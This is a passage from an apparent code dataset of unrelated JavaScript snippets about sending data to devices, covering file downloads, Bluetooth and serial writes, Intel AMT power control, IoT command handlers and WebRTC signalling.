setTimeout2() {\\r\\n if ($(\\\"#appx-status-msg\\\").html() === \\\"File Download Complete...\\\") {\\r\\n appxClearStatusMsgText();\\r\\n }\\r\\n }, 1000);\\r\\n }, appx_session.currsendfile.blocksreceived * 1); //end setTimeout\\r\\n\\r\\n break;\\r\\n case 3:\\r\\n appx_session.currsendfile.filename = x.data.filename;\\r\\n appx_session.currsendfile.guid = Math.floor((Math.random() * 1000000) + 1);\\r\\n appx_session.currsendfile.filedatareceived = 0;\\r\\n appx_session.currsendfile.blocksreceived = 0;\\r\\n appx_session.currsendfile.datalengthneeded = x.data.datalength;\\r\\n if (appx_session.currsendfile.filename.indexOf(\\\"$(\\\") > -1) {\\r\\n appx_session.currsendfile.filename = appx_session.parseOption(appx_session.currsendfile.filename);\\r\\n }\\r\\n else {\\r\\n appx_session.currsendfile.filename = appx_session.currsendfile.filename;\\r\\n }\\r\\n if (appx_session.currsendfile.filename.indexOf(\\\"/\\\") == -1 && appx_session.currsendfile.filename.indexOf(\\\"\\\\\\\\\\\") == -1) {\\r\\n appx_session.currsendfile.filename = appx_session.parseOption(\\\"$(userHome)\\\" + appx_session.fileseparatorchar + appx_session.currsendfile.filename);\\r\\n }\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"Creating File: \\\" + appx_session.currsendfile.filename);\\r\\n appx_session.currsendfile.filecreated = false;\\r\\n CreateFile(appx_session.currsendfile);\\r\\n break;\\r\\n case 5:\\r\\n appx_session.currsendfile.blocksreceived += 1;\\r\\n appx_session.currsendfile.filedatareceived += x.data.length;\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"File Downloading... Received: \\\" + appx_session.currsendfile.filedatareceived + \\\" Bytes of \\\" + appx_session.currsendfile.datalengthneeded.toString() + \\\" Needed\\\");\\r\\n AppendFile(x.data);\\r\\n break;\\r\\n\\r\\n default:\\r\\n //append data to file via local connector\\r\\n break;\\r\\n }\\r\\n }\\r\\n else {\\r\\n //send client status EOF\\r\\n if (x.messagepart != -1) {\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: [0, 0],\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n }\\r\\n }\\r\\n}\",\n \"function readSerialData(data) {\\n console.log(data.toString());\\n sendit({method: 'data', data: data.toString()});\\n}\",\n \"function performPowerActionResponse(stack, name, responses, status) {\\n const dev = stack.dev;\\n const action = dev.powerAction;\\n delete dev.powerAction;\\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\\n if (status != 200) return;\\n\\n // If this is Intel AMT 10 or higher and we are trying to wake the device, send an OS wake.\\n // This will wake the device from \\\"Modern Standby\\\".\\n if ((action == 2) && (dev.aquired.majorver > 9)) {\\n try { dev.amtstack.RequestOSPowerStateChange(2, function (stack, name, response, status) { }); } catch (ex) { }\\n }\\n }\",\n \"async function sendPicture() {\\n const req = {\\n imagebytes: bas64,\\n }\\n alert('Enviado com sucesso');\\n }\",\n \"async function enableBloodPressure() {\\n const command = hexToBase64(\\\"55 aa 04 02 01 f8\\\");\\n // console.log(\\\"TCL: enableBloodPressure -> command\\\", command)\\n const didWrite = await Bluetooth.writeToDevice(command);\\n // console.log(\\\"TCL: enableBloodPressure -> didWrite\\\", didWrite)\\n return didWrite;\\n}\",\n \"function transferByte(b) {\\n\\treturn new Promise((resolve, reject) => {\\n\\t\\tlet txBuff = new Buffer([reverseByte(b)]);\\n\\t\\tlet rxBuff = new Buffer(1);\\n\\t\\tRPIO.spiTransfer(txBuff, rxBuff, 1);\\n resolve(reverseByte(rxBuff[0]));\\n\\t});\\n}\",\n \"function fx000(res) {\\n global.clog(\\\"[ss_reqHan][fx000][SENT]\\\");\\n res.writeHead(200, { \\\"Content-Type\\\": \\\"audio/wav\\\" }); \\n var sendingfile = fs.readFileSync(views.sfx() + '/fx000.wav');\\n res.write(sendingfile);\\n res.end();\\n}\",\n \"async function requestBLEDevice(){\\n let result = Promise.resolve()\\n if (ble.connected == false){\\n console.log('Requesting ble device...')\\n wdm('Requesting bluetooth device list')\\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\\n\\n try{\\n device = await navigator.bluetooth.requestDevice(options)\\n console.log(\\\"found a device\\\",device)\\n console.log(device.name)\\n console.log(device.uuids)\\n var textstr = \\\"found a device name: \\\" + device.name + \\\"
    \\\" + \\\"id: \\\" + device.id\\n ble.statustext = textstr\\n \\n ble.device=device\\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\\n }\\n catch(error){\\n if (ble.connected == false){\\n var textstr = 'Still waiting for user to select device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
    \\\" + textstr\\n \\n return error\\n }\\n }\\n }\\n return result\\n}\",\n \"inbound(count, obj) {\\n console.log(`vat-http.inbound (from browser) ${count}`, obj);\\n const p = Promise.resolve(handler[obj.type](obj));\\n p.then(\\n res => D(commandDevice).sendResponse(count, false, harden(res)),\\n rej => D(commandDevice).sendResponse(count, true, harden(rej)),\\n );\\n }\",\n \"function send_button_state(hex_state) {\\n $.ajax({\\n url: \\\"webpower/set/\\\" + hex_state,\\n success: function() {\\n console.log(\\\"sent: \\\" + hex_state)\\n },\\n });\\n }\",\n \"actuateBell(req, res) {\\n const keyValuePairs = req.body.split('|') || [''];\\n const command = getUltralightCommand(keyValuePairs[0]);\\n const deviceId = 'bell' + req.params.id;\\n const result = keyValuePairs[0] + '| ' + command;\\n\\n if (IoTDevices.notFound(deviceId)) {\\n return res.status(404).send(result + NOT_OK);\\n } else if (IoTDevices.isUnknownCommand('bell', command)) {\\n return res.status(422).send(result + NOT_OK);\\n }\\n\\n // Update device state\\n IoTDevices.actuateDevice(deviceId, command);\\n return res.status(200).send(result + OK);\\n }\",\n \"send(msg) {\\n if (this.connectionId < 0) {\\n throw 'Invalid connection';\\n }\\n chrome.serial.send(this.connectionId, str2ab(msg), function () {\\n });\\n }\",\n \"function sendPost(data, callback) {\\nvar options = {\\n host: 'ws.audioscrobbler.com',\\n path: '/2.0/',\\n method: 'POST',\\n headers: {\\n 'Content-Type': 'application/x-www-form-urlencoded',\\n 'Content-Length': data.length\\n }\\n }\\n , doPOST = http.request(options, function(request) {\\n var reqReturn = ''\\n request.setEncoding('utf8')\\n request.on('data', function(chunk) {\\n reqReturn += chunk\\n })\\n request.on('end', function() {\\n // console.log('[POST RESPONSE] : ' + reqReturn)\\n if (typeof(callback) == 'function')\\n callback(reqReturn)\\n })\\n }).on('error', function(err) {\\n // TODO\\n })\\ndoPOST.write(data)\\ndoPOST.end()\\n}\",\n \"function sendPostResponse() {\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tvar delaySend = false;\\n\\t\\t\\t\\t\\t// build appropriate response\\n\\t\\t\\t\\t\\tswitch(command) {\\n\\t\\t\\t\\t\\t\\tcase 'end':\\n\\t\\t\\t\\t\\t\\tcase 'continue':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('server : Building \\\"continue\\\" response');\\n\\t\\t\\t\\t\\t\\tcase 'start':\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', id:deviceId};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\tcase 'device_ready':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('server : Building \\\"device_ready\\\" response:');\\n\\t\\t\\t\\t\\t\\t\\tvar task = device.taskGroup.getNextTest();\\n\\t\\t\\t\\t\\t\\t\\tif(task) {\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tSending next task: ' + task);\\n\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', test:task};\\n\\t\\t\\t\\t\\t\\t\\t} else { // no more tasks, report\\n\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('server : Is test done: ' + clientConnection.isTestDone);\\n\\t\\t\\t\\t\\t\\t\\t\\tif(!clientConnection.isTestDone) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('server : setting istestdone to true');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isTestDone = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.reporter.createReport();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif(File.exists(path.join(END_GAME_LOCATION, 'Code', 'Main.js'))) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tSending EndGame');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok', test:'/' + END_GAME_LOCATION};\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\tutils.info('is the next test ready?',\\n\\t\\t\\t\\t\\t\\t\\t\\t clientConnection.isNextTestReady);\\n\\t\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isNextTestReady) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isTestDone = false;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.isNextTestReady = false;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdevice.taskGroup.restart();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('\\\\tNo more tasks.');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'nada'};\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'sdk_social_test_start':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('Adding US Social test set');\\n\\t\\t\\t\\t\\t\\t\\tdevice.addToTaskGroup(AUTO_SDK_SOCIAL_TEST_LOC);\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'social_test_start':\\n\\t\\t\\t\\t\\t\\t\\tutils.info('setting tests to social_test_start');\\n\\t\\t\\t\\t\\t\\t\\tdevice.setTaskGroup('Social_Tests', AUTO_SOCIAL_TEST_LOC);\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'task_finished':\\n\\t\\t\\t\\t\\t\\tcase 'log_start':\\n\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tcase 'log_end':\\n\\t\\t\\t\\t\\t\\t\\t// hold off on sending response if previous messages\\n\\t\\t\\t\\t\\t\\t\\t// have yet to be received\\n\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isLogFinished()) {\\n\\t\\t\\t\\t\\t\\t\\t\\tmessage = {Op:'ok'};\\n\\t\\t\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\t\\t\\t// if previous message never gets resent, we need to send\\n\\t\\t\\t\\t\\t\\t\\t\\t// the response after a timeout\\n\\t\\t\\t\\t\\t\\t\\t\\tif(delaySend === false) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tsetTimeout(function () {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tif(clientConnection.isDelayedResponseSet() === true) {\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tutils.info('Did not receive all past messages in 2 minutes --> sending response (' + deviceId + ')');\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.flush();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.sendDelayedResponse();\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t}, 120000);\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tdelaySend = true;\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tclientConnection.setDelayedResponse(response);\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\t\\t\\tmessage = '';\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tif(!delaySend) {\\n\\t\\t\\t\\t\\t\\tsendResponse(200, message);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t}\",\n \"function transmit(fullBuffer) {\\n\\twsSnd.send(\\\"\\\" + fullBuffer.length + \\\"\\\");\\n\\tvar siz = 2048;\\n\\tvar idx, tmpBuf;\\n\\tfor (idx = 0; idx <= fullBuffer.length; idx += siz) {\\n\\t\\ttmpBuf = fullBuffer.slice(idx, idx + siz);\\n\\t\\twsSnd.send(tmpBuf);\\n\\t}\\n\\tif (idx != fullBuffer.length) {\\n\\t\\ttmpBuf = fullBuffer.slice(idx, fullBuffer.length);\\n\\t\\twsSnd.send(tmpBuf);\\n\\t}\\n\\twsSnd.send(\\\"\\\");\\n\\tconsole.log(\\\"TRANSMIT START\\\");\\n}\",\n \"function btn_OnTouch() {\\n bt.Connect(\\\"SerialBT\\\");\\n}\",\n \"XXX_start_dfu(program_mode , image_size_packet) { //see sendStartPacket\\n return new Promise((resolve, reject) => {\\n var BAprogram_mode = Buffer.alloc( 1, [ (program_mode & 0x000000ff) ]);\\n console.log(\\\"Sending 'START DFU' command\\\");\\n this._send_control_data(/*DfuOpcodesBle.START_DFU*/ 0x01, BAprogram_mode) // 0x01 0x04\\n .then( () => this._send_packet_data(image_size_packet) )\\n .then( () => this.waitForControlNotify( /*this.get_received_response, true, 10.0, 'response for START DFU'*/) )\\n .then( () => {/*console.log('$%#&%#&%#%#%#');*/ resolve() }) ////WTFWTFWTF\\n //TODO .then( () => this._clear_received_response() )\\n });\\n }\",\n \"function systemCommandResponseCallback(error, stdout, stderr)\\n {\\n var responseString =\\n 'stdout: ' + pipeToString(stdout)\\n + 'stderr: ' + pipeToString(stderr)\\n + 'error: ' + error;\\n\\n \\t// Write the response and close the request\\n\\t\\tserverResponse.writeHead(200, { \\\"Content-Type\\\": \\\"text/plain\\\" });\\n\\t\\tserverResponse.end(\\\"RPi RESPONSE:\\\\n\\\" + responseString);\\n serverResponse.end();\\n }\",\n \"async postAPI(url, values) {\\n\\t\\tthis.log.debug('Post API called for : ' + url + ' and values : ' + JSON.stringify(values));\\n\\t\\ttry {\\n\\t\\t\\tconst result = axios.post(url, values)\\n\\t\\t\\t\\t.then((response) => {\\n\\t\\t\\t\\t\\treturn response.data;\\n\\t\\t\\t\\t})\\n\\t\\t\\t\\t.catch((error) => {\\n\\t\\t\\t\\t\\tthis.log.error('Sending command to WLED device + ' + url + ' failed with error ' + error);\\n\\t\\t\\t\\t\\treturn error;\\n\\t\\t\\t\\t});\\n\\t\\t\\treturn result;\\n\\t\\t} catch (error) {\\n\\t\\t\\tthis.log.error(error);\\n\\t\\t}\\n\\t}\",\n \"function onRequest(request, response){\\r\\n\\tvar command = request.headers[\\\"command\\\"]\\r\\n\\tvar deviceIP = request.headers[\\\"tplink-iot-ip\\\"]\\r\\n\\tvar cmdRcvd = \\\"\\\\n\\\\r\\\" + new Date() + \\\"\\\\r\\\\nIP: \\\" + deviceIP + \\\" sent command \\\" + command\\r\\n\\tconsole.log(\\\" \\\")\\r\\n\\tconsole.log(cmdRcvd)\\r\\n\\tswitch(command) {\\r\\n\\t\\t//---- (BridgeDH - Poll for Server APP ------------------\\r\\n\\t\\tcase \\\"pollServer\\\":\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"ok\\\")\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tvar respMsg = \\\"Server Poll response sent to SmartThings\\\"\\r\\n\\t\\t\\tconsole.log(respMsg)\\r\\n\\t\\tbreak\\r\\n\\r\\n\\t\\t//---- TP-Link Device Command ---------------------------\\r\\n\\t\\tcase \\\"deviceCommand\\\":\\r\\n\\t\\t\\t//----- Simulated power data Selection ----------------------\\r\\n\\t\\t\\tvar command = request.headers[\\\"tplink-command\\\"]\\r\\n\\t\\t\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\t\\t\\tif (action == \\\"onWatts\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"energyMeterResponse\\\")\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", onWatts)\\r\\n\\t\\t\\t\\tresponse.end()\\r\\n\\t\\t\\t} else if (action == \\\"offWatts\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"energyMeterResponse\\\")\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", offWatts)\\r\\n\\t\\t\\t\\tresponse.end()\\r\\n\\t\\t\\t} else {\\r\\n\\t\\t\\t//----- Real data ----------------------\\r\\n\\t\\t\\t\\tprocessDeviceCommand(request, response)\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tbreak\\r\\n\\t\\r\\n\\t\\t//---- Energy Meter Simulated Data Return ---------------\\r\\n\\t\\tcase \\\"emeterCmd\\\":\\r\\n\\t\\t\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\t\\t\\tvar engrCmd = action.substring(0,3)\\r\\nconsole.log(\\\"engrCmd = \\\" + engrCmd)\\r\\n\\t\\t\\tvar engrData = action.substring(3)\\r\\nconsole.log(\\\"engrData = \\\" + engrData)\\r\\n\\t\\t\\tif (engrCmd == \\\"Con\\\") {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"useTodayResponse\\\")\\r\\n\\t\\t\\t} else {\\r\\n\\t\\t\\t\\tresponse.setHeader(\\\"action\\\", \\\"engrStatsResponse\\\")\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tvar respData = \\\"\\\"\\r\\n\\t\\t\\tswitch(engrData) {\\r\\n\\t\\t\\t\\tcase \\\"DecWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = DecWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"DecMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = DecMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"JanWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = JanWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"JanMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = JanMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"FebWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = FebWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"FebMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = FebMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"MarWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = MarWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"MarMWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = MarMWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day1Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day1Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day1MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day1MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day2Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day2Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day2MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day2MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day3Watts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day3Watts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tcase \\\"Day3MWatts\\\":\\r\\n\\t\\t\\t\\t\\trespData = Day3MWatts\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t\\tdefault:\\r\\n\\t\\t\\t\\t\\tbreak\\r\\n\\t\\t\\t}\\r\\nconsole.log(respData)\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", respData)\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tbreak\\r\\n\\t\\tdefault:\\r\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"InvalidHubCmd\\\")\\r\\n\\t\\t\\tresponse.end()\\r\\n\\t\\t\\tvar respMsg = \\\"#### Invalid Command ####\\\"\\r\\n\\t\\t\\tvar respMsg = new Date() + \\\"\\\\n\\\\r#### Invalid Command from IP\\\" + deviceIP + \\\" ####\\\\n\\\\r\\\"\\r\\n\\t\\t\\tconsole.log(respMsg)\\r\\n\\t\\t\\tlogResponse(respMsg)\\r\\n\\t}\\r\\n}\",\n \"start() {\\n let constraints = {\\n video: {\\n facingMode: 'user',\\n height: { min: 360, ideal: 720, max: 1080 },\\n deviceId: localStorage.getItem('deviceId')\\n },\\n audio: true\\n };\\n\\n // navigator.mediaDevices.enumerateDevices()\\n // .then(dd=> { \\n // dd.map(device => {\\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\\n // constraints.video.deviceId = device.deviceId;\\n // }\\n // })\\n // }) \\n\\n // navigator.usb.requestDevice({filters:[]})\\n // .then(selectedDevice => {\\n // device = selectedDevice;\\n // console.log('selectedDevice', device, selectedDevice);\\n // return device.open(); // Begin a session.\\n // })\\n // .then(() => {\\n // console.log('daada', device.selectConfiguration);\\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\\n // .then(() => {\\n // console.log('daada', device.claimInterface);\\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\\n // .then(() => {\\n // console.log('daada', device.controlTransferOut);\\n // device.controlTransferOut({\\n // requestType: 'class',\\n // recipient: 'interface',\\n // request: 0x22,\\n // value: 0x01,\\n // index: 0x02})}) // Ready to receive data\\n // .then(() => {\\n // console.log('dedde', device);\\n // device.transferIn(5, 64)\\n // }) // Waiting for 64 bytes of data from endpoint #5.\\n // .then(result => {\\n // let decoder = new TextDecoder();\\n // console.log('decoder', decoder, result);\\n // console.log('Received: ' + decoder.decode(result.data));\\n // })\\n // .catch(error => { console.log('this.error', error); });\\n console.log('constraints', constraints)\\n\\n setTimeout(() => {\\n // constraints.video.deviceId = localStorage.getItem('deviceId');\\n navigator.mediaDevices\\n .getUserMedia(constraints)\\n .then((stream) => {\\n this.stream = stream;\\n this.emit('stream', stream);\\n })\\n .catch((err) => {\\n if (err instanceof DOMException) {\\n alert('Cannot open webcam and/or microphone');\\n } else {\\n console.log(err);\\n }\\n });\\n }, 3000)\\n\\n return this;\\n }\",\n \"function connectviaBT() {\\r\\n\\t// initialize bluetooth and setup an event listener\\r\\n\\t//todo: refactor name mWebSocket_InitAsync\\r\\n\\tdocument.getElementById( \\\"idStatus\\\").innerHTML=\\\"Connecting via BT\\\";\\r\\n\\t//returns data from BT as Uint8Array [1..20]\\r\\n\\t//Todo: write what this does in a comment is this the Ternary Operator? (variable = (condition) ? expressionTrue : expressionFalse)\\r\\n\\treturn (bluetoothDeviceDetected ? Promise.resolve() : getDeviceInfo() && isWebBluetoothEnabled())\\r\\n\\t.then(connectGATT) //todo:@FC please explain what is happening here\\r\\n\\t.then(_ => {\\r\\n\\t\\tconsole.log('Evaluating signal of interest...')\\r\\n\\t\\treturn gattCharacteristic.readValue()\\t//receiving data from BT - Uint8Array [1..20]\\r\\n\\t})\\r\\n\\t.catch(error => {\\r\\n\\t\\tconsole.log('Waiting to start reading: ' + error)\\r\\n\\t})\\r\\n}\",\n \"function performAdvancedPowerActionResponse(stack, name, responses, status) {\\n const dev = stack.dev;\\n const action = dev.powerAction;\\n delete dev.powerAction;\\n if (obj.amtDevices[dev.nodeid] == null) return; // Device no longer exists, ignore this response.\\n if (status != 200) return;\\n if ((responses['AMT_BootSettingData'] == null) || (responses['AMT_BootSettingData'].response == null)) return;\\n var bootSettingData = responses['AMT_BootSettingData'].response;\\n\\n // Clean up parameters\\n bootSettingData['ConfigurationDataReset'] = false;\\n delete bootSettingData['WinREBootEnabled'];\\n delete bootSettingData['UEFILocalPBABootEnabled'];\\n delete bootSettingData['UEFIHTTPSBootEnabled'];\\n delete bootSettingData['SecureBootControlEnabled'];\\n delete bootSettingData['BootguardStatus'];\\n delete bootSettingData['OptionsCleared'];\\n delete bootSettingData['BIOSLastStatus'];\\n delete bootSettingData['UefiBootParametersArray'];\\n delete bootSettingData['RPEEnabled'];\\n delete bootSettingData['RSEPassword']\\n\\n // Ready boot parameters\\n bootSettingData['BIOSSetup'] = ((action >= 11) && (action <= 14));\\n bootSettingData['UseSOL'] = ((action >= 13) && (action <= 14));\\n if ((action == 11) || (action == 13)) { dev.powerAction = 2; } // Power on\\n if ((action == 12) || (action == 14)) { dev.powerAction = 10; } // Reset\\n\\n // Set boot parameters\\n dev.amtstack.Put('AMT_BootSettingData', bootSettingData, function (stack, name, response, status, tag) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Set boot config\\n dev.amtstack.SetBootConfigRole(1, function (stack, name, response, status, tag) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Set boot order\\n dev.amtstack.CIM_BootConfigSetting_ChangeBootOrder(null, function (stack, name, response, status) {\\n const dev = stack.dev;\\n if ((obj.amtDevices[dev.nodeid] == null) || (status != 200)) return; // Device no longer exists or error\\n // Perform power action\\n try { dev.amtstack.RequestPowerStateChange(dev.powerAction, performPowerActionResponse); } catch (ex) { }\\n }, 0, 1);\\n }, 0, 1);\\n }, 0, 1);\\n }\",\n \"function SendPortSync() {\\n}\",\n \"function webRtcSendOffer(clientName, offerValue) {\\r\\n\\tif (typeof thisPeersName != \\\"string\\\") {\\r\\n\\t\\tconsole.log(\\\"Please set peer name before calling this function\\\");\\r\\n\\t\\treturn;\\r\\n\\t}\\r\\n\\t\\r\\n var xhttp = new XMLHttpRequest();\\r\\n\\txhttp.onreadystatechange = function() {\\r\\n\\t\\tif (xhttp.readyState == 4 && xhttp.status == 200) {\\r\\n \\r\\n //see if there is a client asking to connect\\r\\n if (typeof xhttp.responseText == \\\"string\\\" && xhttp.responseText.length > 0) {\\r\\n ;\\r\\n }\\r\\n \\r\\n\\t\\t}\\r\\n\\t};\\r\\n var full = location.protocol+'//'+location.hostname+(location.port ? ':'+location.port: ''); \\r\\n \\r\\n\\t//xhttp.open(\\\"GET\\\", \\\"http://\\\" + window.location.host + \\\"/ioInterface?command=getOtsValues\\\", true);\\r\\n var message = {messageType: 'offer', offer: offerValue};\\r\\n var url = full + \\\"/webrtc?command=writeMessage&clientName=\\\" + thisPeersName + \\\"&destinationName=\\\" + clientName + \\\"&message=\\\" + btoa(JSON.stringify(message));\\r\\n \\r\\n //console.log(url.length, url);\\r\\n xhttp.open(\\\"GET\\\", url, true);\\r\\n\\txhttp.send();\\t \\r\\n}\",\n \"sendMakeBetShan2(_chipbet) {\\n cc.NGWlog(\\\"Vua dat cuoc =\\\" + _chipbet);\\n var data = {\\n evt: \\\"bm\\\",\\n M: _chipbet\\n };\\n this.sendDataGame(JSON.stringify(data));\\n }\",\n \"function IoTHubGetDeviceInfo(deviceId, iothubname) {\\n console.log(\\\"Getting Device Info : \\\" + deviceId);\\n $('#IoTHub_Busy_Indicator').css('display', 'flex');\\n $.ajax({\\n type: \\\"GET\\\",\\n url: '/home/IoTHubGetDeviceInfo',\\n data: { deviceId: deviceId },\\n success: function (response) {\\n $('#deviceConnectionState').html(response.connectionState);\\n\\n if (response.connectionState == \\\"Disconnected\\\") {\\n $('#deviceConnectionState').css(\\\"color\\\", 'red');\\n }\\n else {\\n $('#deviceConnectionState').css(\\\"color\\\", 'blue');\\n }\\n $('#deviceModelId').html(response.deviceModelId);\\n $('#deviceConnectionString').html(\\\"HostName=\\\" + iothubname + \\\";DeviceId=\\\" + response.deviceId + \\\";SharedAccessKey=\\\" + response.symmetricKey);\\n $('#deviceKey').html(response.symmetricKey);\\n\\n DisableButton($('#btnDeviceTwin'), false);\\n\\n if (response.deviceModelId != null && response.deviceModelId.length > 0) {\\n DisableButton($('#btnDeviceModelIdCopy'), false);\\n }\\n else\\n {\\n DisableButton($('#btnDeviceModelIdCopy'), true);\\n }\\n\\n if (response.symmetricKey.length > 0) {\\n DisableButton($('#btnDeviceConnectionStringCopy'), false);\\n DisableButton($('#btnDeviceKeyCopy'), false);\\n }\\n else {\\n DisableButton($('#btnDeviceConnectionStringCopy'), true);\\n DisableButton($('#btnDeviceKeyCopy'), true);\\n }\\n\\n 